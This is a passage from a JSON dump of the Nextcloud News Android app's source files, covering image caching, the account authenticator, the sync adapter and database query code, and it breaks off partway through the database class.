links) {\n            link = link.trim();\n            try {\n                File file = null;\n                try {\n                    file = glide\n                            .asFile()\n                            .diskCacheStrategy(DiskCacheStrategy.DATA)\n                            .onlyRetrieveFromCache(true)\n                            // .listener(rl)\n                            .load(link)\n                            .submit()\n                            .get();\n                    Log.d(TAG, \"image is cached\");\n                } catch (Exception e) {\n                    Log.w(TAG, \"image is not cached\");\n                }\n                if(file != null) {\n                    text = text.replace(link, \"file://\" + file.getAbsolutePath());\n                }\n            } catch(Exception ex) {\n                ex.printStackTrace();\n            }\n        }\n\n        return text;\n    }\n\n    private static final RequestListener<File> rl = new RequestListener<>() {\n        @Override\n        public boolean onLoadFailed(@Nullable GlideException e, Object model, Target<File> target, boolean isFirstResource) {\n            // Log the GlideException here (locally or with a remote logging framework):\n            Log.e(TAG, \"Load failed\", e);\n\n            // You can also log the individual causes:\n            for (Throwable t : e.getRootCauses()) {\n                Log.e(TAG, \"Caused by\", t);\n            }\n            // Or, to log all root causes locally, you can use the built in helper method:\n            e.logRootCauses(TAG);\n\n            return false; // Allow calling onLoadFailed on the Target.\n        }\n\n        @Override\n        public boolean onResourceReady(File resource, Object model, Target<File> target, DataSource dataSource, boolean isFirstResource) {\n            // Log successes here or use DataSource to keep track of cache hits and misses.\n            return false; // Allow calling onResourceReady on the Target.\n        }\n\n    };\n\n    private static String replacePatternInText(Pattern pattern, String text, String replacement) {\n        Matcher m = pattern.matcher(text);\n        return m.replaceAll(replacement);\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/authentication/AccountGeneral.java",
    "content": "package de.luhmer.owncloudnewsreader.authentication;\n\nimport android.content.Context;\n\nimport de.luhmer.owncloudnewsreader.R;\n\npublic class AccountGeneral {\n\n\t/**\n\t * Account name\n\t */\n\tpublic static final String ACCOUNT_NAME = \"ownCloud News\";\n\n\t\n\t/**\n\t * Auth token types\n\t */\n\tpublic static final String AUTHTOKEN_TYPE_READ_ONLY = \"Read only\";\n\tpublic static final String AUTHTOKEN_TYPE_READ_ONLY_LABEL = \"Read only access to an Nextcloud News account\";\n\n\tpublic static final String AUTHTOKEN_TYPE_FULL_ACCESS = \"Full access\";\n\tpublic static final String AUTHTOKEN_TYPE_FULL_ACCESS_LABEL = \"Full access to an Nextcloud News account\";\n\n\t/**\n\t * Account type id\n\t */\n\tpublic static String getAccountType(Context context) {\n\t\treturn context.getString(R.string.account_type);\n\t}\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/authentication/OwnCloudAccountAuthenticator.java",
    "content": "package de.luhmer.owncloudnewsreader.authentication;\n\nimport android.accounts.AbstractAccountAuthenticator;\nimport android.accounts.Account;\nimport android.accounts.AccountAuthenticatorResponse;\nimport android.accounts.AccountManager;\nimport android.accounts.NetworkErrorException;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.os.Bundle;\nimport android.text.TextUtils;\nimport android.util.Log;\n\nimport de.luhmer.owncloudnewsreader.LoginDialogActivity;\n\nimport static android.accounts.AccountManager.KEY_BOOLEAN_RESULT;\n\npublic class OwnCloudAccountAuthenticator extends AbstractAccountAuthenticator {\n\n    private static final String TAG = \"UdinicAuthenticator\";\n    private final Context mContext;\n\n    public OwnCloudAccountAuthenticator(Context context) {\n        super(context);\n\n        // I hate you! Google - set mContext as protected!\n        this.mContext = context;\n    }\n\n    @Override\n    public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) {\n        Log.d(\"udinic\", TAG + \"> addAccount\");\n\n        final Intent intent = new Intent(mContext, LoginDialogActivity.class);\n        //intent.putExtra(AuthenticatorActivity.ARG_ACCOUNT_TYPE, accountType);\n        //intent.putExtra(AuthenticatorActivity.ARG_AUTH_TYPE, authTokenType);\n        //intent.putExtra(AuthenticatorActivity.ARG_IS_ADDING_NEW_ACCOUNT, true);\n        intent.putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response);\n\n        final Bundle bundle = new Bundle();\n        bundle.putParcelable(AccountManager.KEY_INTENT, intent);\n        return bundle;\n    }\n\n    @Override\n    public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options) {\n\n        Log.d(\"udinic\", TAG + \"> getAuthToken\");\n\n        // If the caller requested an authToken type we don't support, then\n        // return an error\n        if (!authTokenType.equals(AccountGeneral.AUTHTOKEN_TYPE_READ_ONLY) && !authTokenType.equals(AccountGeneral.AUTHTOKEN_TYPE_FULL_ACCESS)) {\n            final Bundle result = new Bundle();\n            result.putString(AccountManager.KEY_ERROR_MESSAGE, \"invalid authTokenType\");\n            return result;\n        }\n\n        // Extract the username and password from the Account Manager, and ask\n        // the server for an appropriate AuthToken.\n        final AccountManager am = AccountManager.get(mContext);\n\n        String authToken = am.peekAuthToken(account, authTokenType);\n        //String userId = null; //User identifier, needed for creating ACL on our server-side\n\n        Log.d(\"udinic\", TAG + \"> peekAuthToken returned - \" + authToken);\n\n        // Lets give another try to authenticate the user\n        if (TextUtils.isEmpty(authToken)) {\n            final String password = am.getPassword(account);\n            if (password != null) {\n                try {\n                    Log.d(\"udinic\", TAG + \"> re-authenticating with the existing password\");\n\n                    /*\n                    User user = sServerAuthenticate.userSignIn(account.name, password, authTokenType);\n                    if (user != null) {\n                        authToken = user.getSessionToken();\n                        userId = user.getObjectId();\n                    }\n                    */\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n\n        // If we get an authToken - we return it\n        if (!TextUtils.isEmpty(authToken)) {\n            final Bundle result = new Bundle();\n            result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);\n            result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);\n            result.putString(AccountManager.KEY_AUTHTOKEN, authToken);\n            return result;\n        }\n\n        // If we get here, then we couldn't access the user's password - so we\n        // need to re-prompt them for their credentials. We do that by creating\n        // an intent to display our AuthenticatorActivity.\n        final Intent intent = new Intent(mContext, LoginDialogActivity.class);\n        intent.putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response);\n        //intent.putExtra(AuthenticatorActivity.ARG_ACCOUNT_TYPE, account.type);\n        //intent.putExtra(AuthenticatorActivity.ARG_AUTH_TYPE, authTokenType);\n        final Bundle bundle = new Bundle();\n        bundle.putParcelable(AccountManager.KEY_INTENT, intent);\n        return bundle;\n    }\n\n\n    @Override\n    public String getAuthTokenLabel(String authTokenType) {\n        if (AccountGeneral.AUTHTOKEN_TYPE_FULL_ACCESS.equals(authTokenType))\n            return AccountGeneral.AUTHTOKEN_TYPE_FULL_ACCESS_LABEL;\n        else if (AccountGeneral.AUTHTOKEN_TYPE_READ_ONLY.equals(authTokenType))\n            return AccountGeneral.AUTHTOKEN_TYPE_READ_ONLY_LABEL;\n        else\n            return authTokenType + \" (Label)\";\n    }\n\n    @Override\n    public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account, String[] features) throws NetworkErrorException {\n        final Bundle result = new Bundle();\n        result.putBoolean(KEY_BOOLEAN_RESULT, false);\n        return result;\n    }\n\n    @Override\n    public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {\n        return null;\n    }\n\n    @Override\n    public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account, Bundle options) throws NetworkErrorException {\n        return null;\n    }\n\n    @Override\n    public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options) throws NetworkErrorException {\n        return null;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/authentication/OwnCloudSyncAdapter.java",
    "content": "package de.luhmer.owncloudnewsreader.authentication;\n\nimport android.accounts.Account;\nimport android.content.AbstractThreadedSyncAdapter;\nimport android.content.ContentProviderClient;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.content.SyncResult;\nimport android.os.Bundle;\nimport android.os.Handler;\nimport android.os.Looper;\nimport android.util.Log;\nimport android.widget.Toast;\n\nimport org.greenrobot.eventbus.EventBus;\nimport org.reactivestreams.Publisher;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.Constants;\nimport de.luhmer.owncloudnewsreader.NewsReaderApplication;\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport de.luhmer.owncloudnewsreader.helper.ForegroundListener;\nimport de.luhmer.owncloudnewsreader.helper.StopWatch;\nimport de.luhmer.owncloudnewsreader.notification.NextcloudNotificationManager;\nimport de.luhmer.owncloudnewsreader.reader.InsertIntoDatabase;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.ItemStateSync;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.RssItemObservable;\nimport de.luhmer.owncloudnewsreader.services.DownloadImagesService;\nimport de.luhmer.owncloudnewsreader.services.events.SyncFailedEvent;\nimport de.luhmer.owncloudnewsreader.services.events.SyncFinishedEvent;\nimport de.luhmer.owncloudnewsreader.services.events.SyncStartedEvent;\nimport de.luhmer.owncloudnewsreader.ssl.OkHttpSSLClient;\nimport de.luhmer.owncloudnewsreader.widget.WidgetProvider;\nimport io.reactivex.rxjava3.annotations.NonNull;\nimport io.reactivex.rxjava3.core.Observable;\nimport io.reactivex.rxjava3.core.Observer;\nimport io.reactivex.rxjava3.disposables.Disposable;\nimport io.reactivex.rxjava3.schedulers.Schedulers;\n\npublic class OwnCloudSyncAdapter extends AbstractThreadedSyncAdapter {\n\n    private static final String TAG = OwnCloudSyncAdapter.class.getCanonicalName();\n    public boolean syncRunning = false;\n\n    protected @Inject SharedPreferences mPrefs;\n    protected @Inject ApiProvider mApi;\n\n\n    public OwnCloudSyncAdapter(Context context, boolean autoInitialize) {\n        super(context, autoInitialize);\n\n        ((NewsReaderApplication) context).getAppComponent().injectService(this);\n    }\n\n\n\n    @Override\n    public void onPerformSync(Account account, Bundle extras, String authority, ContentProviderClient provider, SyncResult syncResult) {\n        Log.d(\"udinic\", \"onPerformSync for account[\" + account.name + \"] [\" + Thread.currentThread().getName() + \"]\\\"\");\n        StopWatch syncStopWatch = new StopWatch();\n        syncStopWatch.start();\n\n        // Send sync started event\n        syncRunning = true;\n        EventBus.getDefault().post(new SyncStartedEvent());\n\n        // run actual sync\n        sync();\n\n        // Update Widget / Notification\n        WidgetProvider.UpdateWidget(getContext());\n        updateNotification();\n\n        // Download Favicons for feeds\n        startFaviconDownload();\n\n\n        // Send sync finished event\n        syncRunning = false;\n        EventBus.getDefault().post(new SyncFinishedEvent());\n\n        syncStopWatch.stop();\n        Log.v(TAG, \"Finished sync - time needed (synchronization): \" + syncStopWatch);\n    }\n\n    private static class NextcloudSyncResult {\n        private final List<Folder> folders;\n        private final List<Feed>   feeds;\n        private final boolean      stateSyncSuccessful;\n\n        NextcloudSyncResult(List<Folder> folders, List<Feed> feeds, Boolean stateSyncSuccessful) {\n            this.folders = folders;\n            this.feeds = feeds;\n            this.stateSyncSuccessful = stateSyncSuccessful;\n        }\n    }\n\n    // Start sync\n    private void sync() {\n        if(mApi.getNewsAPI() == null) {\n            throwException(new IllegalStateException(\"API is NOT initialized\"));\n            Log.e(TAG, \"API is NOT initialized..\");\n            return;\n        } else {\n            Log.v(TAG, \"API is initialized..\");\n        }\n\n        final DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n\n        Observable<Boolean> rssStateSync = Observable.fromPublisher(\n                (Publisher<Boolean>) s -> {\n                    Log.v(TAG, \"(rssStateSync) subscribe() called with: s = [\" + s + \"] [\" + Thread.currentThread().getName() + \"]\");\n                    try {\n                        ItemStateSync.PerformItemStateSync(mApi.getNewsAPI(), dbConn);\n                        s.onNext(true);\n                        s.onComplete();\n                    } catch(Exception ex) {\n                        s.onError(ex);\n                    }\n                }).subscribeOn(Schedulers.newThread());\n\n        // First sync Feeds and Folders and rss item states (in parallel)\n        Observable<ArrayList<Folder>> folderObservable = mApi\n                .getNewsAPI()\n                .folders()\n                .map(folders -> {\n                    // If the folders is more than one, returns the most new.\n                    HashMap<String, Folder> uniqueLabelFolders = new HashMap<>();\n                    for (Folder folder : folders) {\n                        String label = folder.getLabel();\n                        Folder uniqueFolder = uniqueLabelFolders.get(label);\n                        if (uniqueFolder == null || uniqueFolder.getId() < folder.getId()) {\n                            uniqueLabelFolders.put(label, folder);\n                        }\n                    }\n                    return new ArrayList<>(uniqueLabelFolders.values());\n                })\n                .subscribeOn(Schedulers.newThread());\n\n        Observable<List<Feed>> feedsObservable = mApi\n                .getNewsAPI()\n                .feeds()\n                .subscribeOn(Schedulers.newThread());\n\n        // Wait for results\n        Observable<NextcloudSyncResult> combined = Observable.zip(folderObservable, feedsObservable, rssStateSync, (folders, feeds, mRes) -> {\n            Log.v(TAG, \"apply() called with: folders = [\" + folders + \"], feeds = [\" + feeds + \"], mRes = [\" + mRes + \"] [\" + Thread.currentThread().getName() + \"]\");\n            return new NextcloudSyncResult(folders, feeds, mRes);\n        });\n\n        Log.v(TAG, \"subscribing now.. [\" + Thread.currentThread().getName() + \"]\");\n\n\n        try {\n            NextcloudSyncResult syncResult = combined.blockingFirst();\n\n            // Delete cached entities to keep entity relationships up to date for observers and readers,\n            // for example, relationship of RSS items with feeds that have changed (name changed, etc).\n            // The presence of old data in the cache can affect the obtaining of up-to-date information.\n            dbConn.clearSessionCache();\n\n            InsertIntoDatabase.InsertFoldersIntoDatabase(syncResult.folders, dbConn);\n            InsertIntoDatabase.InsertFeedsIntoDatabase(syncResult.feeds, dbConn);\n            Log.v(TAG, \"State sync successful: \" + syncResult.stateSyncSuccessful);\n\n            // Start the sync (Rss Items)\n            syncRssItems(dbConn);\n        } catch(Exception ex) {\n            //Log.e(TAG, \"throwException: \", ex);\n            throwException(ex);\n        }\n    }\n\n    private void syncRssItems(final DatabaseConnectionOrm dbConn) {\n        Log.v(TAG, \"syncRssItems() called with: dbConn = [\" + dbConn + \"] [\" + Thread.currentThread().getName() + \"]\");\n\n        // .observeOn(AndroidSchedulers.mainThread())\n\n        Observable.fromPublisher(new RssItemObservable(dbConn, mApi.getNewsAPI(), mPrefs))\n                .subscribeOn(Schedulers.newThread())\n                .blockingSubscribe(new Observer<>() {\n                    @Override\n                    public void onSubscribe(@NonNull Disposable d) {\n                        Log.d(TAG, \"[syncRssItems] - onSubscribe() called\");\n                    }\n\n                    @Override\n                    public void onNext(@NonNull final Integer totalCount) {\n                        Log.v(TAG, \"[syncRssItems] - onNext() called with: totalCount = [\" + totalCount + \"]\");\n\n                        Handler handler = new Handler(Looper.getMainLooper());\n                        handler.post(() -> Toast.makeText(\n                                getContext(),\n                                getContext().getResources().getQuantityString(R.plurals.fetched_items_so_far, totalCount, totalCount),\n                                Toast.LENGTH_SHORT).show());\n                    }\n\n                    @Override\n                    public void onError(@NonNull Throwable e) {\n                        Log.v(TAG, \"[syncRssItems] - onError() called with: throwable = [\" + e + \"]\");\n                        throwException(e);\n                    }\n\n                    @Override\n                    public void onComplete() {\n                        Log.v(TAG, \"[syncRssItems] - onComplete() called\");\n                    }\n                });\n    }\n\n\n    private void throwException(Throwable ex) {\n        Log.e(TAG, \"throwException() called [\" + Thread.currentThread().getName() + \"]\", ex);\n        syncRunning = false;\n        if(ex instanceof Exception) {\n            EventBus.getDefault().post(new SyncFailedEvent(OkHttpSSLClient.HandleExceptions((Exception) ex)));\n        } else {\n            EventBus.getDefault().post(new SyncFailedEvent(ex));\n        }\n    }\n\n    private void updateNotification() {\n        // DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(getContext());\n        int newItemsCountLastSync = mPrefs.getInt(Constants.LAST_UPDATE_NEW_ITEMS_COUNT_STRING, 0);\n\n        if (newItemsCountLastSync > 0) {\n            // int newItemsCount = Integer.parseInt(dbConn.getUnreadItemsCountForSpecificFolder(SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_UNREAD_ITEMS));\n\n            // If another app is not in foreground\n            if (!ForegroundListener.Companion.isInForeground()) {\n                NextcloudNotificationManager.showUnreadRssItemsNotification(getContext(), mPrefs, false);\n            }\n        }\n    }\n\n    private void startFaviconDownload() {\n        Intent data = new Intent();\n        data.putExtra(DownloadImagesService.DOWNLOAD_MODE_STRING, DownloadImagesService.DownloadMode.FAVICONS_ONLY);\n        DownloadImagesService.enqueueWork(getContext(), data);\n    }\n}"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/chrometabs/KeepAliveService.kt",
    "content": "// Copyright 2015 Google Inc. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\npackage de.luhmer.owncloudnewsreader.chrometabs\n\nimport android.app.Service\nimport android.content.Intent\nimport android.os.Binder\nimport android.os.IBinder\n\n/**\n * Empty service used by the custom tab to bind to, raising the application's importance.\n */\nclass KeepAliveService : Service() {\n    override fun onBind(intent: Intent): IBinder? = sBinder\n\n    companion object {\n        private val sBinder = Binder()\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/DatabaseConnectionOrm.java",
    "content": "package de.luhmer.owncloudnewsreader.database;\n\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS;\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_DOWNLOADED_PODCASTS;\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_ITEMS;\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_STARRED_ITEMS;\nimport static de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter.SPECIAL_FOLDERS.ALL_UNREAD_ITEMS;\n\nimport android.content.Context;\nimport android.database.Cursor;\nimport android.os.AsyncTask;\nimport android.util.Log;\nimport android.util.SparseArray;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.stream.Collectors;\n\nimport javax.inject.Inject;\nimport javax.inject.Named;\n\nimport de.greenrobot.dao.query.LazyList;\nimport de.greenrobot.dao.query.Query;\nimport de.greenrobot.dao.query.QueryBuilder;\nimport de.greenrobot.dao.query.WhereCondition;\nimport de.luhmer.owncloudnewsreader.Constants;\nimport de.luhmer.owncloudnewsreader.NewsReaderApplication;\nimport de.luhmer.owncloudnewsreader.database.model.CurrentRssItemViewDao;\nimport de.luhmer.owncloudnewsreader.database.model.DaoSession;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.FeedDao;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\nimport de.luhmer.owncloudnewsreader.database.model.FolderDao;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.database.model.RssItemDao;\nimport de.luhmer.owncloudnewsreader.helper.AsyncTaskHelper;\nimport de.luhmer.owncloudnewsreader.helper.NewsFileUtils;\nimport de.luhmer.owncloudnewsreader.helper.StopWatch;\nimport de.luhmer.owncloudnewsreader.model.PodcastFeedItem;\nimport de.luhmer.owncloudnewsreader.model.PodcastItem;\nimport de.luhmer.owncloudnewsreader.services.PodcastDownloadService;\n\npublic class DatabaseConnectionOrm {\n\n    public static final List<String> ALLOWED_PODCASTS_TYPES = new ArrayList<String>() {\n        {\n            this.add(\"audio/mp3\");\n            this.add(\"audio/mp4\");\n            this.add(\"audio/mpeg\");\n            this.add(\"audio/ogg\");\n            this.add(\"audio/opus\");\n            this.add(\"audio/ogg;codecs=opus\");\n            this.add(\"audio/x-m4a\");\n            this.add(\"youtube\");\n            this.add(\"video/mp4\");\n        }\n    };\n\n    private final String TAG = getClass().getCanonicalName();\n    //private static final String[] VIDEO_FORMATS = { \"youtube\", \"video/mp4\" };\n    private static final String[] VIDEO_FORMATS = { \"video/mp4\" };\n    public enum SORT_DIRECTION { asc, desc }\n\n    private final DaoSession daoSession;\n\n    private final static int PageSize = 25;\n\n    private final Context context;\n\n    protected @Inject @Named(\"databaseFileName\") String databasePath;\n\n    public void resetDatabase() {\n        daoSession.getRssItemDao().deleteAll();\n        daoSession.getFeedDao().deleteAll();\n        daoSession.getFolderDao().deleteAll();\n        daoSession.getCurrentRssItemViewDao().deleteAll();\n    }\n\n    public DatabaseConnectionOrm(Context context) {\n        this.context = context;\n        if(databasePath == null) {\n            ((NewsReaderApplication) context.getApplicationContext()).getAppComponent().injectDatabaseConnection(this);\n        }\n        daoSession = DatabaseHelperOrm.getDaoSession(context, databasePath);\n    }\n\n    public void deleteOldAndInsertNewFolders (final Folder... folder) {\n        daoSession.runInTx(() -> {\n            daoSession.getFolderDao().deleteAll();\n            daoSession.getFolderDao().insertInTx(folder);\n        });\n    }\n\n    public void deleteOldAndInsertNewFolders (final Iterable<Folder> folder) {\n        daoSession.runInTx(() -> {\n            daoSession.getFolderDao().deleteAll();\n            daoSession.getFolderDao().insertInTx(folder);\n        });\n    }\n\n    public void insertNewFolders(final Iterable<Folder> folder) {\n        daoSession.getFolderDao().insertInTx(folder);\n    }\n\n    public void insertNewFeed (Iterable<Feed> feeds) {\n        daoSession.getFeedDao().insertOrReplaceInTx(feeds);\n    }\n\n    public void insertNewItems(Iterable<RssItem> items) {\n        daoSession.getRssItemDao().insertOrReplaceInTx(items);\n    }\n\n    public List<Folder> getListOfFolders() {\n        // return daoSession.getFolderDao().loadAll();\n        return daoSession.getFolderDao().queryBuilder().orderAsc(FolderDao.Properties.Label).list();\n    }\n\n/*\n    public List<Folder> getListOfFoldersWithUnreadItems() {\n        return daoSession.getFolderDao().queryBuilder().where(\n                new WhereCondition.PropertyCondition(FolderDao.Properties.Id, \" IN \"\n                        + \"(SELECT \" + FeedDao.Properties.FolderId.columnName + \" FROM \" + FeedDao.TABLENAME + \" feed \"\n                        + \" JOIN \" + RssItemDao.TABLENAME + \" rss ON feed.\" + FeedDao.Properties.Id.columnName + \" = rss.\" + RssItemDao.Properties.FeedId.columnName\n                        + \" WHERE rss.\" + RssItemDao.Properties.Read_temp.columnName + \" != 1)\")\n        ).list();\n    }\n*/\n\n    public List<Feed> getListOfFeeds() {\n        return daoSession.getFeedDao().queryBuilder().orderAsc(FeedDao.Properties.FeedTitle).list();\n    }\n\n    public List<Feed> getListOfFeedsWithUnreadItems() {\n        List<Feed> feedsWithUnreadItems = new ArrayList<>();\n\n        for(Feed feed : getListOfFeeds()) {\n            for(RssItem rssItem : feed.getRssItemList()) {\n                if (!rssItem.getRead_temp()) {\n                    feedsWithUnreadItems.add(feed);\n                    break;\n                }\n            }\n        }\n        return feedsWithUnreadItems;\n    }\n\n    public Folder getFolderById(long folderId) {\n        return daoSession.getFolderDao().queryBuilder().where(FolderDao.Properties.Id.eq(folderId)).unique();\n    }\n\n    public Folder getFolderByLabel(String label) {\n        return daoSession.getFolderDao().queryBuilder().where(FolderDao.Properties.Label.eq(label)).unique();\n    }\n\n    public Feed getFeedById(long feedId) {\n        return daoSession.getFeedDao().queryBuilder().where(FeedDao.Properties.Id.eq(feedId)).unique();\n    }\n\n    public List<Feed> getListOfFeedsWithFolders() {\n        return daoSession.getFeedDao().queryBuilder().orderAsc(FeedDao.Properties.FeedTitle).where(FeedDao.Properties.FolderId.isNotNull()).list();\n    }\n\n    public List<Feed> getListOfFeedsWithoutFolders(boolean onlyWithUnreadRssItems) {\n        if(onlyWithUnreadRssItems) {\n            return daoSession.getFeedDao().queryBuilder().orderAsc(FeedDao.Properties.FeedTitle).where(FeedDao.Properties.FolderId.eq(0L),\n                    new WhereCondition.StringCondition(FeedDao.Properties.Id.columnName + \" IN \" + \"(SELECT \" + RssItemDao.Properties.FeedId.columnName + \" FROM \" + RssItemDao.TABLENAME + \" WHERE \" + RssItemDao.Properties.Read_temp.columnName + \" != 1)\")).list();\n        } else {\n            return daoSession.getFeedDao().queryBuilder().orderAsc(FeedDao.Properties.FeedTitle).where(FeedDao.Properties.FolderId.eq(0L)).list();\n        }\n    }\n\n    public List<Feed> getAllFeedsWithUnreadRssItems() {\n        return daoSession.getFeedDao().queryRaw(\", \" + RssItemDao.TABLENAME + \" R \" +\n                \" WHERE R.\" + RssItemDao.Properties.FeedId.columnName + \" = T._id \" +\n                \" AND \" + RssItemDao.Properties.Read_temp.columnName + \" != 1 GROUP BY T._id\");\n    }\n\n    public List<Feed> getAllFeedsWithUnreadRssItemsForFolder(long folderId) {\n        return daoSession.getFeedDao().queryBuilder().orderAsc(FeedDao.Properties.FeedTitle).where(FeedDao.Properties.FolderId.eq(folderId)).list();\n    }\n\n    public List<Feed> getAllFeedsWithStarredRssItems() {\n        return daoSession.getFeedDao().queryBuilder().orderAsc(FeedDao.Properties.FeedTitle).where(\n                new WhereCondition.StringCondition(FeedDao.Properties.Id.columnName + \" IN \" + \"(SELECT \" + RssItemDao.Properties.FeedId.columnName + \" FROM \" + RssItemDao.TABLENAME + \" WHERE \" + RssItemDao.Properties.Starred_temp.columnName + \" = 1)\")).list();\n    }\n\n    public List<Feed> getAllFeedsWithDownloadedPodcasts(Context context) {\n        var ids = NewsFileUtils.getDownloadedPodcastsFingerprints(context);\n        var files = Arrays.stream(ids).map((f) -> \"\\\"\" + f + \"\\\"\").collect(Collectors.toList());\n        return daoSession.getFeedDao().queryBuilder().orderAsc(FeedDao.Properties.FeedTitle).where(\n                new WhereCondition.StringCondition(FeedDao.Properties.Id.columnName + \" IN \" + \"(SELECT \" + RssItemDao.Properties.FeedId.columnName + \" FROM \" + RssItemDao.TABLENAME + \" WHERE \" + RssItemDao.Properties.Fingerprint.columnName + \" in (\" + String.join(\",\", files) + \"))\")).list();\n    }\n\n    public List<PodcastFeedItem> getListOfFeedsWithAudioPodcasts() {\n        WhereCondition whereCondition = new WhereCondition.StringCondition(FeedDao.Properties.Id.columnName + \" IN \" + \"(SELECT \" + RssItemDao.Properties.FeedId.columnName + \" FROM \" + RssItemDao.TABLENAME + \" WHERE \" + RssItemDao.Properties.EnclosureMime.columnName + \" IN(\\\"\" + join(ALLOWED_PODCASTS_TYPES, \"\\\",\\\"\") + \"\\\"))\");\n        List<Feed> feedsWithPodcast = daoSession.getFeedDao().queryBuilder().orderAsc(FeedDao.Properties.FeedTitle).where(whereCondition).list();\n\n        List<PodcastFeedItem> podcastFeedItemsList = new ArrayList<>(feedsWithPodcast.size());\n        for(Feed feed : feedsWithPodcast) {\n            int podcastCount = 0;\n            for(RssItem rssItem : feed.getRssItemList()) {\n                if(ALLOWED_PODCASTS_TYPES.contains(rssItem.getEnclosureMime()))\n                    podcastCount++;\n            }\n\n            podcastFeedItemsList.add(new PodcastFeedItem(feed, podcastCount));\n        }\n        return podcastFeedItemsList;\n    }\n\n    public List<PodcastItem> getListOfAudioPodcastsForFeed(Context context, long feedId) {\n        List<PodcastItem> result = new ArrayList<>();\n\n        for(RssItem rssItem : daoSession.getRssItemDao().queryBuilder()\n                .where(RssItemDao.Properties.EnclosureMime.in(ALLOWED_PODCASTS_TYPES), RssItemDao.Properties.FeedId.eq(feedId))\n                .orderDesc(RssItemDao.Properties.PubDate).list()) {\n            PodcastItem podcastItem = ParsePodcastItemFromRssItem(context, rssItem);\n            result.add(podcastItem);\n        }\n\n        return result;\n    }\n\n    public boolean areThereAnyUnsavedChangesInDatabase() {\n        long countUnreadRead = daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Read_temp.notEq(RssItemDao.Properties.Read)).count();\n        long countStarredUnstarred = daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Starred_temp.notEq(RssItemDao.Properties.Starred)).count();\n\n        return (countUnreadRead + countStarredUnstarred) > 0;\n    }\n\n\n    public void updateFeed(Feed feed) {\n        daoSession.getFeedDao().update(feed);\n    }\n\n\n    public long getLowestRssItemIdUnread() {\n        RssItem rssItem = daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Read_temp.eq(false)).orderAsc(RssItemDao.Properties.Id).limit(1).unique();\n        if(rssItem != null)\n            return rssItem.getId();\n        else\n            return 0;\n    }\n\n    public RssItem getLowestRssItemIdByFeed(long idFeed) {\n        return daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.FeedId.eq(idFeed)).orderAsc(RssItemDao.Properties.Id).limit(1).unique();\n    }\n\n    public RssItem getRssItemById(long rssItemId) {\n        return daoSession.getRssItemDao().queryBuilder().where(RssItemDao.Properties.Id.eq(rssItemId)).unique();\n    }\n\n\n    /**\n     * Changes the read unread state of the item. This is NOT the temp value!!!\n     * @param itemIds\n     * @param markAsRead\n     */\n    public void change_readUnreadStateOfItem(List<String> itemIds, boolean markAsRead)\n    {\n        if(itemIds != null)\n            for(String idItem : itemIds)\n                updateIsReadOfRssItem(idItem, markAsRead);\n    }\n\n    /**\n     * Changes the starred unstarred state of the item. This is NOT the temp value!!!\n     * @param itemIds\n     * @param markAsStarred\n     */\n    public void changeStarrUnstarrStateOfItem(List<String> itemIds, boolean markAsStarred)\n    